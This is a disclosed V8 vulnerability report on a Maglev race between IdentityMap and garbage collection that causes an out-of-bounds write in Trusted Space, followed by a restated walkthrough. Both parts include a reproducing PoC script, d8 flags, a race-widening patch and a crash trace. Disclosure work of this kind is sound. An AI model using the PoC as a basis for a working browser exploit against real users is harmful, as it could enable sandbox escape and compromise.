Out of bounds write in V8 (CVE-2026-9896)
A race condition between Maglev's IdentityMap and garbage collection can cause the map to shrink, leading to an out-of-bounds write when generating deoptimization data. An attacker could potentially exploit this to bypass the V8 heap sandbox and cause incorrect deoptimization.
- Fix shipped in 26 days
DETAILS
Although this is a Maglev vulnerability, it is not an optimization logic bug. Instead, it is a race condition between IdentityMap and GC in Maglev.
Below are the details.
1. IdentityMap
IdentityMap implements a HeapObject Ptr => uintptr_t mapping. When GC relocates objects, it iterates through the pointers stored in keys_ and sets invalidated_ = true, so that the next lookup or insertion triggers a Rehash() operation.
class V8_EXPORT_PRIVATE IdentityMapBase : public GCRootsProvider {
...
base::hash<uintptr_t> hasher_;
Heap* heap_;
bool invalidated_; // Set to true by GC; once true, Rehash() is required
int size_;
int capacity_;
int mask_;
Address* keys_; // Array storing keys (i.e., HeapObject pointers)
uintptr_t* values_; // Array storing values (must be castable to uintptr_t)
bool is_iterable_;
};
During Rehash(), all misplaced keys are collected first, then InsertKey() is called to re-insert them. If InsertKey() encounters a duplicate key, the insertion is skipped.
Therefore, if duplicate pointers appear in IdentityMapBase::keys_ after GC, the duplicates will be discarded after Rehash().
void IdentityMapBase::Rehash() {
// Cannot Rehash during MarkCompact or while iterable
DCHECK_NE(heap_->gc_state(), Heap::MARK_COMPACT);
CHECK(!is_iterable()); // Can't rehash while iterating.
// Mark as valid
invalidated_ = false;
// Save key-value pairs that need to be relocated
std::vector<std::pair<Address, uintptr_t>> reinsert;
// Find keys with incorrect hash positions and collect them for relocation
int last_empty = -1;
Address not_mapped = ReadOnlyRoots(heap_).not_mapped_symbol().ptr();
for (int i = 0; i < capacity_; i++) { // Iterate all entries
if (keys_[i] == not_mapped) { // Empty slot
last_empty = i;
} else { // Non-empty slot
// keys_[i] is the new object address; recompute correct position by hash
int pos = Hash(keys_[i]) & mask_;
if (pos <= last_empty || pos > i) {
// Entries at wrong positions need to be moved
reinsert.push_back(std::pair<Address, uintptr_t>(keys_[i], values_[i]));
// Remove from keys_ and values_
keys_[i] = not_mapped;
values_[i] = 0;
last_empty = i;
// Decrement entry count
size_--;
}
}
}
// Re-insert the misplaced key-value pairs
for (auto pair : reinsert) {
int index = InsertKey(pair.first, Hash(pair.first)).first;
DCHECK_GE(index, 0);
values_[index] = pair.second;
}
}
2. Shortcut Strings
During Mark-Compact GC, there is a shortcut_strings_ optimization: if a slot holds a pointer to a ThinString object, it is replaced with the ThinString::actual pointer.
inline bool TryEvacuateWithoutCopy(Tagged<HeapObject> object) {
DCHECK(!is_incremental_marking_);
if (!shortcut_strings_) return false;
Tagged<Map> map = object->map();
// Some objects can be evacuated without creating a copy.
if (map->visitor_id() == kVisitThinString) { // If it is a ThinString
// Get the actual string that ThinString points to
Tagged<HeapObject> actual = Cast<ThinString>(object)->unchecked_actual();
// If actual also needs evacuation, skip the optimization
if (MarkCompactCollector::IsOnEvacuationCandidate(actual)) return false;
// Replace the ThinString pointer directly with the actual pointer
object->set_map_word_forwarded(actual, kRelaxedStore);
return true;
}
// TODO(mlippautz): Handle ConsString.
return false;
}
If an IdentityMap contains multiple ThinString objects whose actual pointers are identical, Mark-Compact GC will cause an unexpected side effect on the IdentityMap: after Rehash(), the size of the IdentityMap decreases, as entries with now-identical keys are merged.
3. Maglev Code Gen
Next, I will explain how the above side effect leads to a crash.
MaglevFrameTranslationBuilder is responsible for describing how to reconstruct an Ignition frame at a deoptimization point. It records information such as: "Ignition register r_x should be set to Maglev value node n_y."
If the Maglev value node is a constant node, GetDeoptLiteral() is called to record the constant in deopt_literals_ and assign an ID. This ID can later be used to retrieve the pointer.
class MaglevFrameTranslationBuilder {
int GetDeoptLiteral(Tagged<Object> obj) {
IdentityMapFindResult<int> res = deopt_literals_->FindOrInsert(obj);
if (!res.already_exists) {
DCHECK_EQ(0, *res.entry);
*res.entry = deopt_literals_->size() - 1;
}
return *res.entry;
}
IdentityMap<int, base::DefaultAllocationPolicy>* deopt_literals_;
...
}
Here is an example: GenericNegate is a deoptimization point, where r2:n19:[constant:v-1] indicates that node n19 should be written to register r2 upon deoptimization. n19 is a constant node, so GetDeoptLiteral(0x09b80104c641) is called to record the pointer in deopt_literals_.
4/19: Constant(0x09b80104c641 <String[4]: >"2512">) -> v-1, live range: [4-24]
23/20: GenericNegate [v11/n2:[rax|R|t]] -> [rax|R|t], live range: [23-24]
input locations: 0x3a400f5c668 (6 slots)
-> lazy @9 : {<closure>:n3:[constant:v-1], <this>:n1:[stack:-6|t], a0:n2:[stack:-7|t], <context>:n4:[constant:v-1], r0:n11:[stack:0|t], r2:n19:[constant:v-1]} (addr:0x3a400f5a1a8)
24/21: CallBuiltin(KeyedStoreIC_Megamorphic) [v15/n11:[rdx|R|t], v4/n19:[rcx|R|t], v23/n20:[rax|R|t], v3/n4:[rsi|R|t]] -> [rax|R|t]
input locations: 0x3a400f5c6c8 (5 slots)
-> lazy @11 : {<closure>:n3:[constant:v-1], <this>:n1:[stack:-6|t], a0:n2:[stack:-7|t], <context>:n4:[constant:v-1], r0:n11:[stack:0|t]} (addr:0x3a400f5a390)
The ID assignment algorithm in deopt_literals_ is *res.entry = deopt_literals_->size() - 1. This algorithm is only correct under the assumption that deopt_literals_ never shrinks. Once deopt_literals_ contracts, some previously assigned IDs that exceed the new size will no longer map to valid entries.
This is exactly what happens in the PoC. After each BuildLazyDeopt() processes a deoptimization point, heap()->Safepoint() is called to enter a safe point. At each safe point, the main thread may execute a Mark-Compact GC, which can cause deopt_literals_ to shrink.
bool MaglevCodeGenerator::EmitDeopts() {
...
__ RecordComment("-- Lazy deopts");
int last_updated_safepoint = 0;
for (LazyDeoptInfo* deopt_info : code_gen_state_.lazy_deopts()) {
local_isolate_->heap()->Safepoint();
translation_builder.BuildLazyDeopt(deopt_info);
...
}
...
}
Finally, execution reaches MaglevCodeGenerator::GenerateDeoptimizationData(). As shown below, literals is created with size deopt_literals_.size(), and the stored IDs are used as indices when writing into it. When deopt_literals_ has shrunk, size <= max ID, resulting in an out-of-bounds write.
Handle<DeoptimizationData> MaglevCodeGenerator::GenerateDeoptimizationData(
LocalIsolate* local_isolate) {
...
// Create the literal array with size deopt_literals_.size()
DirectHandle<DeoptimizationLiteralArray> literals =
local_isolate->factory()->NewDeoptimizationLiteralArray(
static_cast<uint32_t>(deopt_literals_.size()));
...
// Write into the literal array
Tagged<DeoptimizationLiteralArray> raw_literals = *literals;
{
// Copy deopt_literals_ into raw_literals
IdentityMap<int, base::DefaultAllocationPolicy>::IteratableScope iterate(
&deopt_literals_);
for (auto it = iterate.begin(); it != iterate.end(); ++it) {
raw_literals->set(*it.entry(), it.key()); // <=== Crash here
}
}
...
return data;
}
4. Summary
The overall timing diagram when the crash is triggered is as follows:
Maglev Background Thread GC Main Thread
| |
1. GetDeoptLiteral("2512")*4 |
| 4 ThinStrings "2512" inserted |
| each has a different address |
| assigned idx = 5,6,7,8 |
| deopt_literals_.size = 9 |
| |
-------+------- safepoint pause -----------------+---
| |
| Mark-Compact GC
| 2. TryEvacuateWithoutCopy()
| | Shortcut Evacuate ThinStrings:
| | no copy, forward to actual
| | 4 different addrs -> same actual addr
| |
| 3. deopt_literals_.Iterate():
| | update map keys
| | 4 keys -> same addr
| |
| 4. deopt_literals_.GCEpilogueInSafepoint():
| | invalidated_ = true
| |
-------+------- safepoint resume ----------------+---
| |
5. FindOrInsert() |
| invalidated_=true => Rehash() |
| 4 duplicate keys merged into 1 |
| deopt_literals_ size: 9 => 6 |
| |
6. GenerateDeoptimizationData(): |
| 6.1 allocate `literals` |
| NewDeoptimizationLiteralArray( |
| deopt_literals_.size() |
| ) |
| literals.size = 6 |
| |
| 6.2 copy |
| for (it : deopt_literals_) { |
| raw_literals->set( |
| *it.entry(), // idx |
| it.key() // object ptr |
| ); |
| } |
| set(5, ...) ok |
| set(8, ...) idx 8 >= len 6 -> OOB! |
| |
This is an extremely subtle vulnerability. The two sides of the race condition:
- Shortcut Strings was introduced on
11/30/2017in commit9fbbe2a4743c11c2df7aca3425ed419aa4fb0dcc. IdentityMap<int, base::DefaultAllocationPolicy> deopt_literals_;was introduced on10/19/2022in commit3a1ca218b893dcdcce19f2536dc11c51751863a7.
This means the vulnerability has existed since at least 2022.
This vulnerability provides two powerful primitives:
- Out-of-bounds write in Trusted Space:
raw_literalsis allocated in Trusted Space, so this OOB write can directly bypass the V8 heap sandbox. - Incorrect deoptimization: during deoptimization, the runtime accesses
raw_literalsto retrieve the object corresponding to an ID. This causes an OOB read ofraw_literals, resulting in deoptimization with an incorrect object.
REPRODUCE
poc.js:
function makeSeqString(bigInt) {
/*
BigInt::ToString() allocates a new SeqString every time
without any caching or deduplication, so multiple SeqString
objects representing the same string content are created.
*/
return bigInt.toString();
}
// Create SeqString objects with identical content.
// Note: s0, s1, ... point to different SeqString objects.
let x = 2512n;
let s0 = makeSeqString(x);
let s1 = makeSeqString(x);
let s2 = makeSeqString(x);
let s3 = makeSeqString(x);
// Internalize strings to produce multiple ThinString objects
// that share the same actual pointer.
// In a real exploit, this can be achieved via
// `let o = {}; o[str] = 0;` which enters Runtime_DefineKeyedOwnIC_Miss().
%InternalizeString(s0);
%InternalizeString(s1);
%InternalizeString(s2);
%InternalizeString(s3);
function opt(x) {
let o = {};
/*
This statement compiles to two bytecodes:
9 : 5d 00 Negate FBV[0]
11 : 3c f9 f7 01 SetKeyedProperty r0, r2, FBV[1]
Maglev optimization generates the following two nodes:
23/20: GenericNegate [v11/n2:[rax|R|t]] -> [rax|R|t], live range: [23-24]
input locations: 0x3a400f5c668 (6 slots)
-> lazy @9 : {<closure>:n3:[constant:v-1], ..., r2:n19:[constant:v-1]}
24/21: CallBuiltin(KeyedStoreIC_Megamorphic) [v15/n11:[rdx|R|t], ...]
-> lazy @11 : {<closure>:n3:[constant:v-1], ..., r0:n11:[stack:0|t]}
If GenericNegate triggers a lazy deopt, the subsequent
SetKeyedProperty still needs to access r2. Therefore,
the deopt frame must restore value node `n19:[constant:v-1]`
into Ignition register r2.
n19 is a constant node pointing to a ThinString object:
4/19: Constant(0x09b80104c641 <String[4]: >"2512">) -> v-1
So BuildDeoptFrameSingleValue() calls
`GetDeoptLiteral(*value->Reify(local_isolate_))` to add it
to `deopt_literals_`.
*/
o[s0] = -x;
// Similarly, these insert s1, s2, s3 ThinString pointers into deopt_literals_
o[s1] = -x;
o[s2] = -x;
o[s3] = -x;
// At this point, deopt_literals_ contains s0, s1, s2, s3:
// four ThinString objects that share the same actual pointer.
return o;
}
/*
Trigger concurrent Maglev optimization via jit-fuzzing + loop.
MaglevCompiler::Compile() will execute on a background thread.
*/
for(let i=0; i<40; i++) {
opt(1234n);
}
// Trigger GC on the main thread to race with the background thread
gc({type: "major"});
V8 must be built with a debug configuration. Execute V8 as follows:
./d8 \
--expose-gc \
--allow-natives-syntax \
--no-lazy-feedback-allocation \
--jit-fuzzing \
./poc.js
This is a race condition vulnerability. When executed directly, the probability of winning the race is less than 1%. To increase the crash probability, V8 needs to be patched by adding a usleep call in the GetDeoptLiteral(Tagged<Object> obj) function to widen the race window. In practice, this raises the success rate to approximately 20%(I suggest having an LLM generate a script to run this PoC in parallel using multiple threads.).
The PoC can be further refined to increase the race success rate, for example:
- Having multiple background threads run Maglev optimization jobs concurrently.
- Adding more deoptimization points to trigger additional
Safepoint() + BuildLazyDeopt()cycles, thereby widening the race window.
However, due to limited time and resources, I have only been able to demonstrate the existence of this vulnerability and have not pursued further exploitation.
diff --git a/src/maglev/maglev-code-generator.cc b/src/maglev/maglev-code-generator.cc
index ebcf443b845..9383a3fdaf0 100644
--- a/src/maglev/maglev-code-generator.cc
+++ b/src/maglev/maglev-code-generator.cc
@@ -6,6 +6,7 @@
#include <algorithm>
#include <fstream>
+#include <unistd.h>
#include "absl/container/flat_hash_map.h"
#include "src/base/hashmap.h"
@@ -1724,6 +1725,7 @@ class MaglevFrameTranslationBuilder {
DCHECK_EQ(0, *res.entry);
*res.entry = deopt_literals_->size() - 1;
}
+ usleep(500);
return *res.entry;
}
This will result in the following crash:
#
# Fatal error in ../../src/objects/fixed-array-inl.h, line 160
# Debug check failed: IsInBounds(index).
#
#
#
#FailureMessage Object: 0x7fffee2ebab8
==== C stack trace ===============================
./d8(v8::base::debug::StackTrace::StackTrace()+0x29) [0x555565fcec09]
./d8(+0x10a75aed) [0x555565fc9aed]
./d8(v8::base::PrintStackTraceIfAvailable()+0x14) [0x555565fa4464]
./d8(V8_Fatal(char const*, int, char const*, ...)+0x1f9) [0x555565fa4c19]
./d8(+0x10a504dc) [0x555565fa44dc]
./d8(V8_Dcheck(char const*, int, char const*)+0x4d) [0x555565fa4d1d]
./d8(v8::internal::TaggedArrayBase<v8::internal::TrustedWeakFixedArray, v8::internal::TrustedWeakFixedArrayShape, v8::internal::TrustedObject>::set(unsigned int, v8::internal::Tagged<v8::internal::Union<v8::internal::Smi, v8::internal::HeapObject, v8::internal::Weak<v8::internal::HeapObject>>>, v8::internal::WriteBarrierMode)+0x81) [0x555560e6cbb1]
./d8(v8::internal::DeoptimizationLiteralArray::set(int, v8::internal::Tagged<v8::internal::Object>)+0x1d5) [0x555560e61305]
./d8(v8::internal::maglev::MaglevCodeGenerator::GenerateDeoptimizationData(v8::internal::LocalIsolate*)+0x79c) [0x555560d24e8c]
./d8(v8::internal::maglev::MaglevCodeGenerator::BuildCodeObject(v8::internal::LocalIsolate*)+0xb4) [0x555560d240f4]
./d8(v8::internal::maglev::MaglevCodeGenerator::Assemble()+0x78) [0x555560d23bb8]
./d8(v8::internal::maglev::MaglevCompiler::Compile(v8::internal::LocalIsolate*, v8::internal::maglev::MaglevCompilationInfo*)+0xa89) [0x555560e8d139]
./d8(v8::internal::maglev::MaglevCompilationJob::ExecuteJobImpl(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*)+0x69) [0x5555610e1759]
./d8(v8::internal::OptimizedCompilationJob::ExecuteJob(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*)+0x12d) [0x55555f6906cd]
./d8(v8::internal::maglev::MaglevConcurrentDispatcher::JobTask::Run(v8::JobDelegate*)+0x1ec) [0x5555610e394c]
./d8(v8::platform::DefaultJobWorker::Run()+0xbe) [0x555565fd166e]
./d8(v8::platform::DefaultWorkerThreadsTaskRunner::WorkerThread::Run()+0xac) [0x555565fe066c]
./d8(v8::base::Thread::Dispatch()+0x16) [0x55555f276e06]
./d8(v8::base::Thread::NotifyStartedAndDispatch()+0x32) [0x55555f276d72]
./d8(+0x10a6f1b0) [0x555565fc31b0]
/lib/x86_64-linux-gnu/libpthread.so.0(+0x8609) [0x7ffff7f8b609]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x43) [0x7ffff7d46353]
CREDIT INFORMATION
Reporter credit: [303f06e3]
Context
This is a Chrome VRP report against V8, the JavaScript engine used by Chrome. The weakness is an out of bounds write, rated high severity, and it was disclosed on 2026-05-27 with a bounty of 500.00 USD. The affected component is V8, and the bug lives in Maglev, V8's mid tier optimising compiler.
Maglev compiles bytecode from Ignition, V8's interpreter, into machine code. When the compiled code has to fall back to the interpreter at a deoptimization point, it needs to rebuild the Ignition frame exactly as it was. MaglevFrameTranslationBuilder describes that reconstruction: it records statements such as "Ignition register r_x should be set to Maglev value node n_y". When the value node is a constant, the constant object is recorded in an IdentityMap called deopt_literals_ and given an integer ID, which is later used to fetch the pointer back.
The report is explicit that this is not an optimisation logic bug. It is a race condition between IdentityMap and garbage collection inside Maglev.
Setup
V8 must be built with a debug configuration. The PoC is run with d8, V8's shell, using the following flags:
./d8 \
--expose-gc \
--allow-natives-syntax \
--no-lazy-feedback-allocation \
--jit-fuzzing \
./poc.js
--expose-gc makes the gc() function available, --allow-natives-syntax enables the %InternalizeString intrinsic, The report does not explain what each flag does; its PoC comment says the loop triggers concurrent Maglev optimisation via jit-fuzzing, with MaglevCompiler::Compile() running on a background thread.
Because this is a race, the unmodified PoC wins with a probability below 1%. To widen the window the author patched V8 by adding a usleep call inside GetDeoptLiteral(Tagged<Object> obj), which raises the success rate to roughly 20%. The author suggests having an LLM generate a script to run the PoC in parallel using multiple threads.
Finding it
The starting point is IdentityMap, which implements a HeapObject Ptr => uintptr_t mapping. When GC relocates objects it walks the pointers stored in keys_ and sets invalidated_ = true, so that the next lookup or insertion triggers a Rehash().
class V8_EXPORT_PRIVATE IdentityMapBase : public GCRootsProvider {
...
base::hash<uintptr_t> hasher_;
Heap* heap_;
bool invalidated_; // Set to true by GC; once true, Rehash() is required
int size_;
int capacity_;
int mask_;
Address* keys_; // Array storing keys (i.e., HeapObject pointers)
uintptr_t* values_; // Array storing values (must be castable to uintptr_t)
bool is_iterable_;
};
During Rehash(), all misplaced keys are collected first, then InsertKey() is called to re-insert them. If InsertKey() encounters a duplicate key, the insertion is skipped. The consequence is that if duplicate pointers appear in IdentityMapBase::keys_ after GC, the duplicates are discarded after Rehash().
void IdentityMapBase::Rehash() {
// Cannot Rehash during MarkCompact or while iterable
DCHECK_NE(heap_->gc_state(), Heap::MARK_COMPACT);
CHECK(!is_iterable()); // Can't rehash while iterating.
// Mark as valid
invalidated_ = false;
// Save key-value pairs that need to be relocated
std::vector<std::pair<Address, uintptr_t>> reinsert;
// Find keys with incorrect hash positions and collect them for relocation
int last_empty = -1;
Address not_mapped = ReadOnlyRoots(heap_).not_mapped_symbol().ptr();
for (int i = 0; i < capacity_; i++) { // Iterate all entries
if (keys_[i] == not_mapped) { // Empty slot
last_empty = i;
} else { // Non-empty slot
// keys_[i] is the new object address; recompute correct position by hash
int pos = Hash(keys_[i]) & mask_;
if (pos <= last_empty || pos > i) {
// Entries at wrong positions need to be moved
reinsert.push_back(std::pair<Address, uintptr_t>(keys_[i], values_[i]));
// Remove from keys_ and values_
keys_[i] = not_mapped;
values_[i] = 0;
last_empty = i;
// Decrement entry count
size_--;
}
}
}
// Re-insert the misplaced key-value pairs
for (auto pair : reinsert) {
int index = InsertKey(pair.first, Hash(pair.first)).first;
DCHECK_GE(index, 0);
values_[index] = pair.second;
}
}
The second ingredient is the shortcut strings optimisation in Mark-Compact GC. If a slot holds a pointer to a ThinString object, it is replaced with the ThinString::actual pointer.
inline bool TryEvacuateWithoutCopy(Tagged<HeapObject> object) {
DCHECK(!is_incremental_marking_);
if (!shortcut_strings_) return false;
Tagged<Map> map = object->map();
// Some objects can be evacuated without creating a copy.
if (map->visitor_id() == kVisitThinString) { // If it is a ThinString
// Get the actual string that ThinString points to
Tagged<HeapObject> actual = Cast<ThinString>(object)->unchecked_actual();
// If actual also needs evacuation, skip the optimization
if (MarkCompactCollector::IsOnEvacuationCandidate(actual)) return false;
// Replace the ThinString pointer directly with the actual pointer
object->set_map_word_forwarded(actual, kRelaxedStore);
return true;
}
// TODO(mlippautz): Handle ConsString.
return false;
}
If an IdentityMap contains multiple ThinString objects whose actual pointers are identical, Mark-Compact GC causes an unexpected side effect on the map: after Rehash(), the size of the IdentityMap decreases, because entries with now identical keys are merged.
The third ingredient is how Maglev records deopt literals. GetDeoptLiteral() looks the constant up in deopt_literals_ and, if it is new, assigns it the ID deopt_literals_->size() - 1.
class MaglevFrameTranslationBuilder {
int GetDeoptLiteral(Tagged<Object> obj) {
IdentityMapFindResult<int> res = deopt_literals_->FindOrInsert(obj);
if (!res.already_exists) {
DCHECK_EQ(0, *res.entry);
*res.entry = deopt_literals_->size() - 1;
}
return *res.entry;
}
IdentityMap<int, base::DefaultAllocationPolicy>* deopt_literals_;
...
}
The author illustrates with a GenericNegate deoptimization point, where r2:n19:[constant:v-1] means node n19 should be written to register r2 on deoptimization. n19 is a constant node, so GetDeoptLiteral(0x09b80104c641) records the pointer in deopt_literals_.
4/19: Constant(0x09b80104c641 <String[4]: >"2512">) -> v-1, live range: [4-24]
23/20: GenericNegate [v11/n2:[rax|R|t]] -> [rax|R|t], live range: [23-24]
input locations: 0x3a400f5c668 (6 slots)
-> lazy @9 : {<closure>:n3:[constant:v-1], <this>:n1:[stack:-6|t], a0:n2:[stack:-7|t], <context>:n4:[constant:v-1], r0:n11:[stack:0|t], r2:n19:[constant:v-1]} (addr:0x3a400f5a1a8)
24/21: CallBuiltin(KeyedStoreIC_Megamorphic) [v15/n11:[rdx|R|t], v4/n19:[rcx|R|t], v23/n20:[rax|R|t], v3/n4:[rsi|R|t]] -> [rax|R|t]
input locations: 0x3a400f5c6c8 (5 slots)
-> lazy @11 : {<closure>:n3:[constant:v-1], <this>:n1:[stack:-6|t], a0:n2:[stack:-7|t], <context>:n4:[constant:v-1], r0:n11:[stack:0|t]} (addr:0x3a400f5a390)
The ID assignment algorithm *res.entry = deopt_literals_->size() - 1 is only correct under the assumption that deopt_literals_ never shrinks. Once it contracts, previously assigned IDs that exceed the new size no longer map to valid entries.
That is exactly what happens in the PoC. After each BuildLazyDeopt() processes a deoptimization point, heap()->Safepoint() is called to enter a safe point. At each safe point the main thread may execute a Mark-Compact GC, which can cause deopt_literals_ to shrink.
bool MaglevCodeGenerator::EmitDeopts() {
...
__ RecordComment("-- Lazy deopts");
int last_updated_safepoint = 0;
for (LazyDeoptInfo* deopt_info : code_gen_state_.lazy_deopts()) {
local_isolate_->heap()->Safepoint();
translation_builder.BuildLazyDeopt(deopt_info);
...
}
...
}
Finally, execution reaches MaglevCodeGenerator::GenerateDeoptimizationData(). literals is created with size deopt_literals_.size(), and the stored IDs are used as indices when writing into it. When deopt_literals_ has shrunk, size <= max ID, resulting in an out of bounds write.
Handle<DeoptimizationData> MaglevCodeGenerator::GenerateDeoptimizationData(
LocalIsolate* local_isolate) {
...
// Create the literal array with size deopt_literals_.size()
DirectHandle<DeoptimizationLiteralArray> literals =
local_isolate->factory()->NewDeoptimizationLiteralArray(
static_cast<uint32_t>(deopt_literals_.size()));
...
// Write into the literal array
Tagged<DeoptimizationLiteralArray> raw_literals = *literals;
{
// Copy deopt_literals_ into raw_literals
IdentityMap<int, base::DefaultAllocationPolicy>::IteratableScope iterate(
&deopt_literals_);
for (auto it = iterate.begin(); it != iterate.end(); ++it) {
raw_literals->set(*it.entry(), it.key()); // <=== Crash here
}
}
...
return data;
}
Exploitation
The overall timing when the crash is triggered is as follows:
Maglev Background Thread GC Main Thread
| |
1. GetDeoptLiteral("2512")*4 |
| 4 ThinStrings "2512" inserted |
| each has a different address |
| assigned idx = 5,6,7,8 |
| deopt_literals_.size = 9 |
| |
-------+------- safepoint pause -----------------+---
| |
| Mark-Compact GC
| 2. TryEvacuateWithoutCopy()
| | Shortcut Evacuate ThinStrings:
| | no copy, forward to actual
| | 4 different addrs -> same actual addr
| |
| 3. deopt_literals_.Iterate():
| | update map keys
| | 4 keys -> same addr
| |
| 4. deopt_literals_.GCEpilogueInSafepoint():
| | invalidated_ = true
| |
-------+------- safepoint resume ----------------+---
| |
5. FindOrInsert() |
| invalidated_=true => Rehash() |
| 4 duplicate keys merged into 1 |
| deopt_literals_ size: 9 => 6 |
| |
6. GenerateDeoptimizationData(): |
| 6.1 allocate `literals` |
| NewDeoptimizationLiteralArray( |
| deopt_literals_.size() |
| ) |
| literals.size = 6 |
| |
| 6.2 copy |
| for (it : deopt_literals_) { |
| raw_literals->set( |
| *it.entry(), // idx |
| it.key() // object ptr |
| ); |
| } |
| set(5, ...) ok |
| set(8, ...) idx 8 >= len 6 -> OOB! |
| |
Step 1: create distinct strings with identical content
The PoC starts by producing several SeqString objects with the same content. BigInt::ToString() allocates a new SeqString every time, without caching or deduplication, so multiple objects representing the same string content are created.
function makeSeqString(bigInt) {
/*
BigInt::ToString() allocates a new SeqString every time
without any caching or deduplication, so multiple SeqString
objects representing the same string content are created.
*/
return bigInt.toString();
}
// Create SeqString objects with identical content.
// Note: s0, s1, ... point to different SeqString objects.
let x = 2512n;
let s0 = makeSeqString(x);
let s1 = makeSeqString(x);
let s2 = makeSeqString(x);
let s3 = makeSeqString(x);
Step 2: internalise the strings into ThinStrings
The strings are then internalised, which produces multiple ThinString objects that share the same actual pointer. The comment notes that in a real exploit this can be achieved via let o = {}; o[str] = 0;, which enters Runtime_DefineKeyedOwnIC_Miss().
// Internalize strings to produce multiple ThinString objects
// that share the same actual pointer.
// In a real exploit, this can be achieved via
// `let o = {}; o[str] = 0;` which enters Runtime_DefineKeyedOwnIC_Miss().
%InternalizeString(s0);
%InternalizeString(s1);
%InternalizeString(s2);
%InternalizeString(s3);
Step 3: force the constants into deopt_literals_
The opt function performs four keyed stores of the form o[sN] = -x. Each statement compiles to two bytecodes, Negate FBV[0] and SetKeyedProperty r0, r2, FBV[1], and Maglev generates a GenericNegate node followed by a CallBuiltin(KeyedStoreIC_Megamorphic) node. If GenericNegate triggers a lazy deopt, the subsequent SetKeyedProperty still needs r2, so the deopt frame must restore the constant node n19 into Ignition register r2. That constant is a ThinString, so BuildDeoptFrameSingleValue() calls GetDeoptLiteral(*value->Reify(local_isolate_)) and adds it to deopt_literals_. Doing this four times inserts the four ThinString pointers.
function opt(x) {
let o = {};
/*
This statement compiles to two bytecodes:
9 : 5d 00 Negate FBV[0]
11 : 3c f9 f7 01 SetKeyedProperty r0, r2, FBV[1]
Maglev optimization generates the following two nodes:
23/20: GenericNegate [v11/n2:[rax|R|t]] -> [rax|R|t], live range: [23-24]
input locations: 0x3a400f5c668 (6 slots)
-> lazy @9 : {<closure>:n3:[constant:v-1], ..., r2:n19:[constant:v-1]}
24/21: CallBuiltin(KeyedStoreIC_Megamorphic) [v15/n11:[rdx|R|t], ...]
-> lazy @11 : {<closure>:n3:[constant:v-1], ..., r0:n11:[stack:0|t]}
If GenericNegate triggers a lazy deopt, the subsequent
SetKeyedProperty still needs to access r2. Therefore,
the deopt frame must restore value node `n19:[constant:v-1]`
into Ignition register r2.
n19 is a constant node pointing to a ThinString object:
4/19: Constant(0x09b80104c641 <String[4]: >"2512">) -> v-1
So BuildDeoptFrameSingleValue() calls
`GetDeoptLiteral(*value->Reify(local_isolate_))` to add it
to `deopt_literals_`.
*/
o[s0] = -x;
// Similarly, these insert s1, s2, s3 ThinString pointers into deopt_literals_
o[s1] = -x;
o[s2] = -x;
o[s3] = -x;
// At this point, deopt_literals_ contains s0, s1, s2, s3:
// four ThinString objects that share the same actual pointer.
return o;
}
Step 4: race compilation against GC
The loop triggers concurrent Maglev optimisation via jit-fuzzing, so MaglevCompiler::Compile() runs on a background thread. The gc({type: "major"}) call then triggers a major GC on the main thread to race with that background thread.
/*
Trigger concurrent Maglev optimization via jit-fuzzing + loop.
MaglevCompiler::Compile() will execute on a background thread.
*/
for(let i=0; i<40; i++) {
opt(1234n);
}
// Trigger GC on the main thread to race with the background thread
gc({type: "major"});
Step 5: widen the window with a patch
To make the race winnable, the author patched src/maglev/maglev-code-generator.cc to sleep inside GetDeoptLiteral:
diff --git a/src/maglev/maglev-code-generator.cc b/src/maglev/maglev-code-generator.cc
index ebcf443b845..9383a3fdaf0 100644
--- a/src/maglev/maglev-code-generator.cc
+++ b/src/maglev/maglev-code-generator.cc
@@ -6,6 +6,7 @@
#include <algorithm>
#include <fstream>
+#include <unistd.h>
#include "absl/container/flat_hash_map.h"
#include "src/base/hashmap.h"
@@ -1724,6 +1725,7 @@ class MaglevFrameTranslationBuilder {
DCHECK_EQ(0, *res.entry);
*res.entry = deopt_literals_->size() - 1;
}
+ usleep(500);
return *res.entry;
}
With this patch the crash appears as a debug check failure in fixed-array-inl.h:
#
# Fatal error in ../../src/objects/fixed-array-inl.h, line 160
# Debug check failed: IsInBounds(index).
#
#
#
#FailureMessage Object: 0x7fffee2ebab8
==== C stack trace ===============================
./d8(v8::base::debug::StackTrace::StackTrace()+0x29) [0x555565fcec09]
./d8(+0x10a75aed) [0x555565fc9aed]
./d8(v8::base::PrintStackTraceIfAvailable()+0x14) [0x555565fa4464]
./d8(V8_Fatal(char const*, int, char const*, ...)+0x1f9) [0x555565fa4c19]
./d8(+0x10a504dc) [0x555565fa44dc]
./d8(V8_Dcheck(char const*, int, char const*)+0x4d) [0x555565fa4d1d]
./d8(v8::internal::TaggedArrayBase<v8::internal::TrustedWeakFixedArray, v8::internal::TrustedWeakFixedArrayShape, v8::internal::TrustedObject>::set(unsigned int, v8::internal::Tagged<v8::internal::Union<v8::internal::Smi, v8::internal::HeapObject, v8::internal::Weak<v8::internal::HeapObject>>>, v8::internal::WriteBarrierMode)+0x81) [0x555560e6cbb1]
./d8(v8::internal::DeoptimizationLiteralArray::set(int, v8::internal::Tagged<v8::internal::Object>)+0x1d5) [0x555560e61305]
./d8(v8::internal::maglev::MaglevCodeGenerator::GenerateDeoptimizationData(v8::internal::LocalIsolate*)+0x79c) [0x555560d24e8c]
./d8(v8::internal::maglev::MaglevCodeGenerator::BuildCodeObject(v8::internal::LocalIsolate*)+0xb4) [0x555560d240f4]
./d8(v8::internal::maglev::MaglevCodeGenerator::Assemble()+0x78) [0x555560d23bb8]
./d8(v8::internal::maglev::MaglevCompiler::Compile(v8::internal::LocalIsolate*, v8::internal::maglev::MaglevCompilationInfo*)+0xa89) [0x555560e8d139]
./d8(v8::internal::maglev::MaglevCompilationJob::ExecuteJobImpl(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*)+0x69) [0x5555610e1759]
./d8(v8::internal::OptimizedCompilationJob::ExecuteJob(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*)+0x12d) [0x55555f6906cd]
./d8(v8::internal::maglev::MaglevConcurrentDispatcher::JobTask::Run(v8::JobDelegate*)+0x1ec) [0x5555610e394c]
./d8(v8::platform::DefaultJobWorker::Run()+0xbe) [0x555565fd166e]
./d8(v8::platform::DefaultWorkerThreadsTaskRunner::WorkerThread::Run()+0xac) [0x555565fe066c]
./d8(v8::base::Thread::Dispatch()+0x16) [0x55555f276e06]
